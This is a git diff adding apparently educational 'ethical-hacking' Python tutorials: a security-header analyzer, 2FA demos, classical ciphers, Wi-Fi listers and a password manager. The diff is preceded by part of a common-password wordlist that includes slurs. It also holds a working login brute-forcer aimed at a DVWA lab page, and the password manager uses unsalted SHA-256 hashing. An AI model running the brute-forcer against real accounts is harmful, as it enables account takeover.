+magnum +baybee +aleja +carebear1 +mamama +eloisa +techno +independent +lalito +volume +141516 +luckyme +metalica +cancun +cobain +southern +aragorn +devon +1q2w3e4r5t +rancid +juanes +arielle +shaun +candie +volley +ash123 +priscila +cheyanne +bubble1 +elvis1 +hustler +lilly1 +fairies +leopard +bigfoot +flipflop +peace1 +minniemouse +teetee +notebook +AMERICA +bonnie1 +ortega +cutify +moose +bernice +nicolle +bluebell +sierra1 +gilberto +anarchy +tasha1 +hilton +ripcurl +connor1 +terminator +onepiece +dionne +dorian +carnell +sandra1 +florentina +LOVEME +chicky +catdog1 +chronic +amorsito +padilla +lovemom +snowball1 +pizzas +chicks +fossil +beach +telefono +nanita +kimerald +wonderland +fantastic +josie +lights +987456321 +gordo +escola +beebee +bitches1 +twins +deandre +smokie +chicago1 +splash +disneyland +ibrahim +teddybear1 +lovelygirl +burberry +ignacio +test +143444 +paixao +camelia +ramiro +baby07 +jeffrey1 +456321 +snapple +asasas +gracey +gorillaz +TWEETY +hello! +memyselfandi +kassie +venus +guzman +pooper +bluestar +angel15 +hellothere +happybunny +nessa +booty +putangina +toronto +jamielee +jehovah +bunnyboo +bigmama +gogogo +baby11 +crybaby +joselito +fresas +Anthony +element1 +sexy16 +joselyn +monkey11 +xtreme +babygal +loraine +kameron +alonzo +tomato +lovehim +chiquito +suicide +minina +abegail +1truelove +alohomora +fraser +diamante +rasta +abigail1 +casino +JOSHUA +bhabycoh +tucker1 +pandabear +tracy +hellow +gavin +nikolas +computador +lissette +vernon +blanco +k123456 +wolfpack +henderson +a1234567 +baby01 +muneca +giovanna +edgardo +queenbee +jamila +jesusislord +magic1 +candys +yankees2 +Danielle +thelma +anaconda +roberts +jarvis +gerson +powder +chuchu +dixie1 +blink +hardrock +damnit +sexymama1 +sonny +dottie +ojitos +anahi +Jennifer +lilkim +horse1 +lucille +godsmack +jazzie +smith +JUNIOR +angel07 +young1 +honest +1029384756 +planet +chinese +hithere +lamborghini +Liverpool +ESTRELLA +soccer16 +western +castle +class08 +helloo +smile123 +murder +loveis +deleon +lobster +784512 +japanese +labrador +yomomma +seattle +steve1 +ilovecats +raymond1 +cutie123 +stephany +monmon +escorpio +balong +tanner1 +09876 +picasso +university +lloyd +pacheco +benjamin1 +foxylady +julian1 +alex12 +carola +chandra +smithy +stronger +alfie +lianne +sabrina1 +redsox1 +universal +jerson +336699 +kitty123 +wrangler +525252 +braveheart +JESUS +monserrat +happyday +JUSTIN +shadmoss +sandro +disney1 +princess11 +rosalie +roderick +224466 +jerico +nightwish +spencer1 +carlito +1a2b3c4d +BRANDON +cccccc +888999 +angie1 +alemania +angel23 +marques +loved1 +preety +celica +harriet +kendrick +januari +june23 +dolphins1 +campos +micah +sexyred +isaiah1 +amerika +...... +houston1 +tomcat +crimson +heavenly +lacrimosa +italian +heyheyhey +PRINCESA +rabbits +lilromeo +lickme +noelia +sausage +Tigger +zxcvbnm1 +andre1 +trojans +apache +durango +6543210 +spongecola +123456c +onelove1 +hotlips +sandman +super1 +milano +andreina +456654 +bigboy1 +steelers1 +honeyq +bangbang +nigger1 +newpassword +badboy1 +miller1 +jokers +teamomiamor +matilde +19841984 +dirtbike +tigger12 +iuliana +revolution +FUCKYOU +metallica1 +tekieromucho +jonatan +stewie +eugenia +summer05 +fantasia +321456 +wertyu +jellybeans +empire +june28 +1234554321 +speaker +natali +poetry +thesims2 +bball1 +ventura +abbie +sexysexy +muslim +rosalinda +soccer22 +holler +spotty +teodora +bling +janina +denis +chikis +francisca +212224236 +ferguson +chevy1 +thursday +rockets +orlandobloom +sweetypie +sagitarius +dixie +2222222 +2sweet +bonethugs +passions +wiggles +heidi +heroes +jamal +lingling +juliocesar +10203040 +j12345 +19881988 +yessica +lokito +beetle +ladybird +polarbear +chance1 +newnew +estrelinha +01234567 +twisted +brianne +homer +dreaming +powell +235689 +butterfly2 +sexkitten +losangeles +1234567a +sexygal +gidget +blueblue +brothers +19951995 +koolkat +nextel +missie +maryland +piscis +nathaly +123456t +samsung1 +soleil +dogdog +starfire +october1 +crips +1babygirl +bouncer +123456b +jimmie +westwood +#1bitch +rockandroll +slamdunk +brenda1 +michell +lalaland +hellohello +edith +fiona +gogirl +derick +atlantis +TIGGER +sirenita +love33 +phillips +bollocks +quiksilver +keepout +ihateyou1 +salman +daryl +playboy69 +leavemealone +iloveluke +44444444 +oxford +darkstar +consuelo +camilita +MIGUEL +limpbizkit +privacy +petewentz +sonic +inferno +gusanito +golfer +jayjay1 +princess01 +parrot +ducky +rasmus +inlove1 +kookie +biteme1 +karen1 +fernandes +zipper +smoking +brujita +toledo +abcdef12345 \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/README.md b/ethical-hacking/http-security-headers/README.md new file mode 100644 index 00000000..e0e7b1d0 --- /dev/null +++ b/ethical-hacking/http-security-headers/README.md @@ -0,0 +1,2 @@ +Grab your API key from Open Router:- https://openrouter.ai/ +Model is Used is DeepSeek: DeepSeek V3.1 (free). However, feel free to try others. \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/http_security_headers.py b/ethical-hacking/http-security-headers/http_security_headers.py new file mode 100644 index 00000000..67b494c4 --- /dev/null +++ b/ethical-hacking/http-security-headers/http_security_headers.py @@ -0,0 +1,149 @@ +#!/usr/bin/env python3 +import requests +import json +import os +import argparse +from typing import Dict, List, Tuple +from openai import OpenAI + +class SecurityHeadersAnalyzer: + def __init__(self, api_key: str = None, base_url: str = None, model: str = None): + self.api_key = api_key or os.getenv('OPENROUTER_API_KEY') or os.getenv('OPENAI_API_KEY') + self.base_url = base_url or os.getenv('OPENROUTER_BASE_URL', 'https://openrouter.ai/api/v1') + self.model = model or os.getenv('LLM_MODEL', 'deepseek/deepseek-chat-v3.1:free') + + if not self.api_key: + raise ValueError("API key is required. Set OPENROUTER_API_KEY or provide --api-key") + + self.client = OpenAI(base_url=self.base_url, api_key=self.api_key) + + def fetch_headers(self, url: str, timeout: int = 10) -> Tuple[Dict[str, str], int]: + """Fetch HTTP headers from URL""" + if not url.startswith(('http://', 'https://')): + url = 'https://' + url + + try: + response = requests.get(url, timeout=timeout, allow_redirects=True) + return dict(response.headers), response.status_code + except requests.exceptions.RequestException as e: + print(f"Error fetching {url}: {e}") + return {}, 0 + + def analyze_headers(self, url: str, headers: Dict[str, str], status_code: int) -> str: + """Analyze headers using LLM""" + prompt = f"""Analyze the HTTP security headers for {url} (Status: {status_code}) + +Headers: +{json.dumps(headers, indent=2)} + +Provide a comprehensive security analysis including: +1. Security score (0-100) and overall assessment +2. Critical security issues that need immediate attention +3. Missing important security headers +4. Analysis of existing security headers and their effectiveness +5. Specific recommendations for improvement +6. Potential security risks based on current configuration + +Focus on practical, actionable advice following current web security best practices. Please do not include ** and # +in the response except for specific references where necessary. use numbers, romans, alphabets instead Format the response well please. """ + + try: + completion = self.client.chat.completions.create( + model=self.model, + messages=[{"role": "user", "content": prompt}], + temperature=0.2 + ) + return completion.choices[0].message.content + except Exception as e: + return f"Analysis failed: {e}" + + def analyze_url(https://github.com/self,%20url:%20str,%20timeout:%20int%20=%2010) -> Dict: + """Analyze a single URL""" + print(f"\nAnalyzing: {url}") + print("-" * 50) + + headers, status_code = self.fetch_headers(url, timeout) + if not headers: + return {"url": url, "error": "Failed to fetch headers"} + + print(f"Status Code: {status_code}") + print(f"\nHTTP Headers ({len(headers)} found):") + print("-" * 30) + for key, value in headers.items(): + print(f"{key}: {value}") + + print(f"\nAnalyzing with AI...") + analysis = self.analyze_headers(url, headers, status_code) + + print("\nSECURITY ANALYSIS") + print("=" * 50) + print(analysis) + + return { + "url": url, + "status_code": status_code, + "headers_count": len(headers), + "analysis": analysis, + "raw_headers": headers + } + + def analyze_multiple_urls(self, urls: List[str], timeout: int = 10) -> List[Dict]: + """Analyze multiple URLs""" + results = [] + for i, url in enumerate(urls, 1): + print(f"\n[{i}/{len(urls)}]") + result = self.analyze_url(https://github.com/url,%20timeout) + results.append(result) + return results + + def export_results(self, results: List[Dict], filename: str): + """Export results to JSON""" + with open(filename, 'w') as f: + json.dump(results, f, indent=2, ensure_ascii=False) + print(f"\nResults exported to: {filename}") + +def main(): + parser = argparse.ArgumentParser( + description='Analyze HTTP security headers using AI', + formatter_class=argparse.RawDescriptionHelpFormatter, + epilog='''Examples: + python security_headers.py https://example.com + python security_headers.py example.com google.com + python security_headers.py example.com --export results.json + +Environment Variables: + OPENROUTER_API_KEY - API key for OpenRouter + OPENAI_API_KEY - API key for OpenAI + LLM_MODEL - Model to use (default: deepseek/deepseek-chat-v3.1:free)''' + ) + + parser.add_argument('urls', nargs='+', help='URLs to analyze') + parser.add_argument('--api-key', help='API key for LLM service') + parser.add_argument('--base-url', help='Base URL for LLM API') + parser.add_argument('--model', help='LLM model to use') + parser.add_argument('--timeout', type=int, default=10, help='Request timeout (default: 10s)') + parser.add_argument('--export', help='Export results to JSON file') + + args = parser.parse_args() + + try: + analyzer = SecurityHeadersAnalyzer( + api_key=args.api_key, + base_url=args.base_url, + model=args.model + ) + + results = analyzer.analyze_multiple_urls(args.urls, args.timeout) + + if args.export: + analyzer.export_results(results, args.export) + + except ValueError as e: + print(f"Error: {e}") + return 1 + except KeyboardInterrupt: + print("\nAnalysis interrupted by user") + return 1 + +if __name__ == '__main__': + main() \ No newline at end of file diff --git a/ethical-hacking/http-security-headers/requirements.txt b/ethical-hacking/http-security-headers/requirements.txt new file mode 100644 index 00000000..f0dd0aec --- /dev/null +++ b/ethical-hacking/http-security-headers/requirements.txt @@ -0,0 +1 @@ +openai \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/README.md b/ethical-hacking/implement-2fa/README.md new file mode 100644 index 00000000..8bbdbaec --- /dev/null +++ b/ethical-hacking/implement-2fa/README.md @@ -0,0 +1 @@ +# [How to Implement 2FA in Python](https://thepythoncode.com/article/implement-2fa-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/hotp.py b/ethical-hacking/implement-2fa/hotp.py new file mode 100644 index 00000000..78cd60bd --- /dev/null +++ b/ethical-hacking/implement-2fa/hotp.py @@ -0,0 +1,19 @@ +import pyotp + +# Set the key. A variable this time +key = 'Muhammad' +# Make a HMAC-based OTP +hotp = pyotp.HOTP(key) + +# Print results +print(hotp.at(0)) +print(hotp.at(1)) +print(hotp.at(2)) +print(hotp.at(3)) + +# Set counter +counter = 0 +for otp in range(4): + print(hotp.verify(input("Enter Code: "), counter)) + counter += 1 + diff --git a/ethical-hacking/implement-2fa/otp_qrcode_and_key.py b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py new file mode 100644 index 00000000..f98c35f2 --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_qrcode_and_key.py @@ -0,0 +1,27 @@ +# Program 1: Generate and Save TOTP Key and QR Code +import pyotp +import qrcode + + +def generate_otp_key(): + # Generate a random key for TOTP authentication. + return pyotp.random_base32() + + +def generate_qr_code(key, account_name, issuer_name): + # Generate a QR code for TOTP authentication. + uri = pyotp.totp.TOTP(key).provisioning_uri(name=account_name, issuer_name=issuer_name) + img = qrcode.make(uri) + img.save('totp_qr.png') + print("QR Code generated and saved as 'totp_qr.png'.") + + +# Main code. +# Generate user key. +user_key = generate_otp_key() +print("Your Two-Factor Authentication Key:", user_key) +# Save key to a file for reference purposes +with open('2fa.txt', 'w') as f: + f.write(user_key) +# Generate QR Code. +generate_qr_code(user_key, 'Muhammad', 'CodingFleet.com') diff --git a/ethical-hacking/implement-2fa/otp_verification.py b/ethical-hacking/implement-2fa/otp_verification.py new file mode 100644 index 00000000..03c1b51c --- /dev/null +++ b/ethical-hacking/implement-2fa/otp_verification.py @@ -0,0 +1,19 @@ +# Program 2: Verify TOTP Code with Google Authenticator +import pyotp + + +def simulate_authentication(key): + # Simulate the process of authenticating with a TOTP code. + totp = pyotp.TOTP(key) + print("Enter the code from your Google Authenticator app to complete authentication.") + user_input = input("Enter Code: ") + if totp.verify(user_input): + print("Authentication successful!") + else: + print("Authentication failed. Please try again with the right key.") + + +# Main Code +# The key should be the same one generated and used to create the QR code in Program 1 +user_key = open("2fa.txt").read() # Reading the key from the file generated in Program 1 (otp_qrcode_and_key.py) +simulate_authentication(user_key) diff --git a/ethical-hacking/implement-2fa/requirements.txt b/ethical-hacking/implement-2fa/requirements.txt new file mode 100644 index 00000000..3026cbce --- /dev/null +++ b/ethical-hacking/implement-2fa/requirements.txt @@ -0,0 +1,2 @@ +pyotp +qrcode \ No newline at end of file diff --git a/ethical-hacking/implement-2fa/totp.py b/ethical-hacking/implement-2fa/totp.py new file mode 100644 index 00000000..f67304db --- /dev/null +++ b/ethical-hacking/implement-2fa/totp.py @@ -0,0 +1,14 @@ +import pyotp + +# Generate a random key. You can also set to a variable e.g key = "CodingFleet" +key = pyotp.random_base32() +# Make Time based OTPs from the key. +totp = pyotp.TOTP(key) + +# Print current key. +print(totp.now()) + +# Enter OTP for verification +input_code = input("Enter your OTP:") +# Verify OTP +print(totp.verify(input_code)) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/README.md b/ethical-hacking/implement-affine-cipher/README.md new file mode 100644 index 00000000..bdf8ac39 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Affine Cipher in Python](https://thepythoncode.com/article/how-to-implement-affine-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-affine-cipher/affine_cipher.py b/ethical-hacking/implement-affine-cipher/affine_cipher.py new file mode 100644 index 00000000..3d2c904a --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/affine_cipher.py @@ -0,0 +1,47 @@ +# Import necessary libraries. +import string +from colorama import init, Fore + +# Initialise colorama. +init() + + +# Function to perform Affine Cipher encryption. +def affine_encryption(plaintext, a, b): + # Define the uppercase alphabet. + alphabet = string.ascii_uppercase + # Get the length of the alphabet + m = len(alphabet) + # Initialize an empty string to store the ciphertext. + ciphertext = '' + + # Iterate through each character in the plaintext. + for char in plaintext: + # Check if the character is in the alphabet. + if char in alphabet: + # If it's an alphabet letter, encrypt it. + # Find the index of the character in the alphabet. + p = alphabet.index(char) + # Apply the encryption formula: (a * p + b) mod m. + c = (a * p + b) % m + # Append the encrypted character to the ciphertext. + ciphertext += alphabet[c] + else: + # If the character is not in the alphabet, keep it unchanged. + ciphertext += char + + # Return the encrypted ciphertext. + return ciphertext + + +# Define the plaintext and key components. +plaintext = input(f"{Fore.GREEN}[?] Enter text to encrypt: ") +a = 3 +b = 10 + +# Call the affine_encrypt function with the specified parameters. +encrypted_text = affine_encryption(plaintext, a, b) + +# Print the original plaintext, the key components, and the encrypted text. +print(f"{Fore.MAGENTA}[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Encrypted Text: {encrypted_text}") diff --git a/ethical-hacking/implement-affine-cipher/requirements.txt b/ethical-hacking/implement-affine-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-affine-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/README.md b/ethical-hacking/implement-vigenere-cipher/README.md new file mode 100644 index 00000000..16a5b7bd --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/README.md @@ -0,0 +1 @@ +# [How to Implement the Vigenère Cipher in Python](https://thepythoncode.com/article/implementing-the-vigenere-cipher-in-python) \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/requirements.txt b/ethical-hacking/implement-vigenere-cipher/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py new file mode 100644 index 00000000..52eef5da --- /dev/null +++ b/ethical-hacking/implement-vigenere-cipher/vigenere_cipher.py @@ -0,0 +1,88 @@ +# Import sys for system operations and colorama for colored output. +import sys +from colorama import init, Fore + +# Initialise colorama +init() + + +# Function to Encrypt using the Vigenère cipher. +def vigenere_encrypt(plain_text, key): + encrypted_text = '' + + # Repeat the key to match the length of the plaintext. + key_repeated = (key * (len(plain_text) // len(key))) + key[:len(plain_text) % len(key)] + + # Iterate through each character in the plaintext. + for i in range(len(plain_text)): + # Check if the character is an alphabet letter. + if plain_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter. + shift = ord(key_repeated[i].upper()) - ord('A') + + # Encrypt uppercase and lowercase letters separately. + if plain_text[i].isupper(): + encrypted_text += chr((ord(plain_text[i]) + shift - ord('A')) % 26 + ord('A')) + else: + encrypted_text += chr((ord(plain_text[i]) + shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged. + encrypted_text += plain_text[i] + + # Return the final encrypted text + return encrypted_text + + +# Decryption function for the Vigenère cipher +def vigenere_decrypt(cipher_text, key): + decrypted_text = '' + + # Repeat the key to match the length of the ciphertext + key_repeated = (key * (len(cipher_text) // len(key))) + key[:len(cipher_text) % len(key)] + + # Iterate through each character in the ciphertext + for i in range(len(cipher_text)): + # Check if the character is an alphabet letter + if cipher_text[i].isalpha(): + # Calculate the shift based on the corresponding key letter + shift = ord(key_repeated[i].upper()) - ord('A') + + # Decrypt uppercase and lowercase letters separately + if cipher_text[i].isupper(): + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('A')) % 26 + ord('A')) + else: + decrypted_text += chr((ord(cipher_text[i]) - shift - ord('a')) % 26 + ord('a')) + else: + # If the character is not an alphabet letter, keep it unchanged + decrypted_text += cipher_text[i] + + # Return the final decrypted text + return decrypted_text + + +key = "KEY" +# Get user input (Message to encrypt). +plaintext = input('[!] Enter your message: ') + +# Encrypt the plaintext using the Vigenère cipher +cipher_text = vigenere_encrypt(plaintext, key) + +# Print the results +print(f"[+] Plaintext: {plaintext}") +print(f"{Fore.GREEN}[+] Ciphertext: {cipher_text}") + +# Ask if user wants to decrypt the message (just to see the functionality.) +ask_to_decrypt = input('\n\n[?] Do you want to decrypt the message?\n[?] Y or N: ').lower() + +# If user wants to. +if ask_to_decrypt == 'y': + # Decrypt the ciphertext back to the original plaintext. + decrypted_text = vigenere_decrypt(cipher_text, key) + print(f"{Fore.GREEN}[+] Decrypted text: {decrypted_text}") + +# If user does not want to. +elif ask_to_decrypt == 'n': + sys.exit() +# When an invalid input is entered. +else: + print(f"{Fore.RED}[-] Invalid input.") diff --git a/ethical-hacking/listing-wifi-networks/README.md b/ethical-hacking/listing-wifi-networks/README.md new file mode 100644 index 00000000..3e9d37a5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/README.md @@ -0,0 +1 @@ +# [How to List Wi-Fi Networks in Python](https://thepythoncode.com/article/list-nearby-wifi-networks-with-python) \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/open_networks_lister.py b/ethical-hacking/listing-wifi-networks/open_networks_lister.py new file mode 100644 index 00000000..7b089fb8 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/open_networks_lister.py @@ -0,0 +1,88 @@ +import subprocess, platform, re +from colorama import init, Fore + +init() + + +def list_open_networks(): + # Get the name of the operating system. + os_name = platform.system() + + # Check if the OS is Windows. + if os_name == "Windows": + # Command to list Wi-Fi networks on Windows. + list_networks_command = 'netsh wlan show networks' + try: + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + networks = [] + + # Parse the output to find open Wi-Fi networks. + for line in output.splitlines(): + if "SSID" in line: + # Extract the SSID (Wi-Fi network name). + ssid = line.split(":")[1].strip() + elif "Authentication" in line and "Open" in line: + # Check if the Wi-Fi network has open authentication. + networks.append(ssid) + + # Check if any open networks were found. + if len(networks) > 0: + # Print a message for open networks with colored output. + print(f'{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n') + for each_network in networks: + print(f"{Fore.GREEN}[+] {each_network}") + else: + # Print a message if no open networks were found. + print(f"{Fore.RED}[-] No open wifi networks in range") + + except subprocess.CalledProcessError as e: + # Handle any errors that occur during the execution of the command. + print(f"{Fore.RED}Error: {e}") + # Return an empty list to indicate that no networks were found. + return [] + + elif os_name == "Linux": + try: + # Run nmcli to list available Wi-Fi networks. + result = subprocess.run(["nmcli", "--fields", "SECURITY,SSID", "device", "wifi", "list"], + stdout=subprocess.PIPE, + text=True, check=True) + + # Access the captured stdout. + output = result.stdout.strip() + + # Define a regex pattern to capture SSID and Security. + pattern = re.compile(r'^(?P[^\s]+)\s+(?P.+)$', re.MULTILINE) + + # Find all matches in the output. + matches = pattern.finditer(output) + + # Skip the first match, which is the header. + next(matches, None) + print(f"{Fore.LIGHTMAGENTA_EX}[+] Open Wifi networks in range: \n") + # Loop through all matches (results) + for match in matches: + security = match.group('security') + ssid = match.group('ssid') + full_match = f"{Fore.GREEN}[+] SSID: {ssid} -------> Security: {security}" + # Check if the indicator of an open network in our Full match (result). + if "Security: --" in full_match: + print(f"{Fore.GREEN}[+] {ssid}") + else: + print(f"{Fore.RED}[-] No open Wifi networks in range.") + + except subprocess.CalledProcessError as e: + print(f"Error running nmcli: {e}") + except Exception as e: + print(f"An error occurred: {e}") + + else: + print(f"{Fore.RED}Unsupported operating system.") + return [] + + +# Call the function. +list_open_networks() + + diff --git a/ethical-hacking/listing-wifi-networks/requirements.txt b/ethical-hacking/listing-wifi-networks/requirements.txt new file mode 100644 index 00000000..3d90aaa5 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/requirements.txt @@ -0,0 +1 @@ +colorama \ No newline at end of file diff --git a/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py new file mode 100644 index 00000000..5bed2c91 --- /dev/null +++ b/ethical-hacking/listing-wifi-networks/wifi_networks_lister.py @@ -0,0 +1,32 @@ +import subprocess, platform + + +# Get the name of the operating system. +os_name = platform.system() + +# Check if the OS is Windows. +if os_name == "Windows": + # Command to list Wi-Fi networks on Windows using netsh. + list_networks_command = 'netsh wlan show networks' + + # Execute the command and capture the result. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Check if the OS is Linux. +elif os_name == "Linux": + # Command to list Wi-Fi networks on Linux using nmcli. + list_networks_command = "nmcli device wifi list" + + # Execute the command and capture the output. + output = subprocess.check_output(list_networks_command, shell=True, text=True) + + # Print the output, all networks in range. + print(output) + +# Handle unsupported operating systems. +else: + # Print a message indicating that the OS is unsupported (Not Linux or Windows). + print("Unsupported OS") diff --git a/ethical-hacking/login-password-guesser/README.md b/ethical-hacking/login-password-guesser/README.md new file mode 100644 index 00000000..820e63f6 --- /dev/null +++ b/ethical-hacking/login-password-guesser/README.md @@ -0,0 +1 @@ +# [How to Make a Login Password Guesser in Python](https://thepythoncode.com/article/make-a-login-password-guesser-in-python) \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/login_password_guesser.py b/ethical-hacking/login-password-guesser/login_password_guesser.py new file mode 100644 index 00000000..1934a747 --- /dev/null +++ b/ethical-hacking/login-password-guesser/login_password_guesser.py @@ -0,0 +1,24 @@ +import requests, sys +from colorama import Fore, init + +init() + +def guess_password(target_url, username, wordlist_path, action_type): + parameters = {"username": username, 'password': '', 'Login': action_type} # Create a dictionary 'parameters' with username, empty password, and action_type. + # Open the file containing our wordlist 'rockyou.txt' for reading. + with open(wordlist_path, 'r') as word_list: + # Loop through each word in the wordlist. + for each_word in word_list: + word = each_word.strip() # Remove whitespace from the word. + parameters['password'] = word # Set the password parameter to the current word. + # Send an HTTP POST request to the target_url with the current 'parameters'. + output = requests.post(target_url, data=parameters) + # Check if the response content does not contain "Login failed". + if 'Login failed' not in output.content.decode('utf-8'): + # If the condition is met, print a success message with the found password. + print(f"{Fore.GREEN} [+] Password Found! >>> {word} ") + sys.exit() # Exit the script. + # If no password is found after iterating through the wordlist, print a failure message. + print(f"{Fore.RED} [-] Password not found.") + +guess_password("http://192.168.134.129/dvwa/login.php", 'admin', 'C:\\Users\\muham\\Documents\\wordlists\\rockyou.txt', 'submit') \ No newline at end of file diff --git a/ethical-hacking/login-password-guesser/requirements.txt b/ethical-hacking/login-password-guesser/requirements.txt new file mode 100644 index 00000000..9f404795 --- /dev/null +++ b/ethical-hacking/login-password-guesser/requirements.txt @@ -0,0 +1,2 @@ +colorama +requests \ No newline at end of file diff --git a/ethical-hacking/password-manager/README.md b/ethical-hacking/password-manager/README.md new file mode 100644 index 00000000..ec1aef1b --- /dev/null +++ b/ethical-hacking/password-manager/README.md @@ -0,0 +1 @@ +# [How to Build a Password Manager in Python](https://thepythoncode.com/article/build-a-password-manager-in-python) \ No newline at end of file diff --git a/ethical-hacking/password-manager/password_manager.py b/ethical-hacking/password-manager/password_manager.py new file mode 100644 index 00000000..9b9ec184 --- /dev/null +++ b/ethical-hacking/password-manager/password_manager.py @@ -0,0 +1,204 @@ +import json, hashlib, getpass, os, pyperclip, sys +from cryptography.fernet import Fernet + + +# Function for Hashing the Master Password. +def hash_password(password): + sha256 = hashlib.sha256() + sha256.update(password.encode()) + return sha256.hexdigest() + + +# Generate a secret key. This should be done only once as you'll see. +def generate_key(): + return Fernet.generate_key() + + +# Initialize Fernet cipher with the provided key. +def initialize_cipher(key): + return Fernet(key) + + +# Function to encrypt a password. +def encrypt_password(cipher, password): + return cipher.encrypt(password.encode()).decode() + + +# Function to decrypt a password. +def decrypt_password(cipher, encrypted_password): + return cipher.decrypt(encrypted_password.encode()).decode() + + +# Function to register you. +def register(username, master_password): + # Encrypt the master password before storing it + hashed_master_password = hash_password(master_password) + user_data = {'username': username, 'master_password': hashed_master_password} + file_name = 'user_data.json' + + if os.path.exists(file_name) and os.path.getsize(file_name) == 0: + with open(file_name, 'w') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + else: + with open(file_name, 'x') as file: + json.dump(user_data, file) + print("\n[+] Registration complete!!\n") + + +# Function to log you in. +def login(username, entered_password): + try: + with open('user_data.json', 'r') as file: + user_data = json.load(file) + + stored_password_hash = user_data.get('master_password') + entered_password_hash = hash_password(entered_password) + + if entered_password_hash == stored_password_hash and username == user_data.get('username'): + print("\n[+] Login Successful..\n") + else: + print("\n[-] Invalid Login credentials. Please use the credentials you used to register.\n") + sys.exit() + + except Exception: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + + +# Function to view saved websites. +def view_websites(): + try: + with open('passwords.json', 'r') as data: + view = json.load(data) + print("\nWebsites you saved...\n") + for x in view: + print(x['website']) + print('\n') + except FileNotFoundError: + print("\n[-] You have not saved any passwords!\n") + + +# Load or generate the encryption key. +key_filename = 'encryption_key.key' +if os.path.exists(key_filename): + with open(key_filename, 'rb') as key_file: + key = key_file.read() +else: + key = generate_key() + with open(key_filename, 'wb') as key_file: + key_file.write(key) + +cipher = initialize_cipher(key) + + +# Function to add (save password). +def add_password(website, password): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + # If passwords.json doesn't exist, initialize it with an empty list + data = [] + else: + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + # Handle the case where passwords.json is empty or invalid JSON. + data = [] + + # Encrypt the password + encrypted_password = encrypt_password(cipher, password) + + # Create a dictionary to store the website and password + password_entry = {'website': website, 'password': encrypted_password} + data.append(password_entry) + + # Save the updated list back to passwords.json + with open('passwords.json', 'w') as file: + json.dump(data, file, indent=4) + + +# Function to retrieve a saved password. +def get_password(website): + # Check if passwords.json exists + if not os.path.exists('passwords.json'): + return None + + # Load existing data from passwords.json + try: + with open('passwords.json', 'r') as file: + data = json.load(file) + except json.JSONDecodeError: + data = [] + # Loop through all the websites and check if the requested website exists. + for entry in data: + if entry['website'] == website: + # Decrypt and return the password + decrypted_password = decrypt_password(cipher, entry['password']) + return decrypted_password + + return None + + +# Infinite loop to keep the program running until the user chooses to quit. +while True: + print("1. Register") + print("2. Login") + print("3. Quit") + choice = input("Enter your choice: ") + + if choice == '1': # If a user wants to register + file = 'user_data.json' + if os.path.exists(file) and os.path.getsize(file) != 0: + print("\n[-] Master user already exists!!") + sys.exit() + else: + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + register(username, master_password) + + elif choice == '2': # If a User wants to log in + file = 'user_data.json' + if os.path.exists(file): + username = input("Enter your username: ") + master_password = getpass.getpass("Enter your master password: ") + login(username, master_password) + else: + print("\n[-] You have not registered. Please do that.\n") + sys.exit() + # Various options after a successful Login. + while True: + print("1. Add Password") + print("2. Get Password") + print("3. View Saved websites") + print("4. Quit") + + password_choice = input("Enter your choice: ") + if password_choice == '1': # If a user wants to add a password + website = input("Enter website: ") + password = getpass.getpass("Enter password: ") + + # Encrypt and add the password + add_password(website, password) + print("\n[+] Password added!\n") + + elif password_choice == '2': # If a User wants to retrieve a password + website = input("Enter website: ") + decrypted_password = get_password(website) + if website and decrypted_password: + # Copy password to clipboard for convenience + pyperclip.copy(decrypted_password) + print(f"\n[+] Password for {website}: {decrypted_password}\n[+] Password copied to clipboard.\n") + else: + print("\n[-] Password not found! Did you save the password?" + "\n[-] Use option 3 to see the websites you saved.\n") + + elif password_choice == '3': # If a user wants to view saved websites + view_websites() + + elif password_choice == '4': # If a user wants to quit the password manager + break + + elif choice == '3': # If a user wants to quit the program + break diff --git a/ethical-hacking/password-manager/requirements.txt b/ethical-hacking/password-manager/requirements.txt new file mode 100644 index 00000000..c10ec962 --- /dev/null +++ b/ethical-hacking/password-manager/requirements.txt @@ -0,0 +1,2 @@ +cryptography +pyperclip \ No newline at end of file diff --git a/ethical-hacking/pdf-cracker/pdf_cracker.py b/ethical-hacking/pdf-cracker/pdf_cracker.py index ea1d0728..141aea02 100644 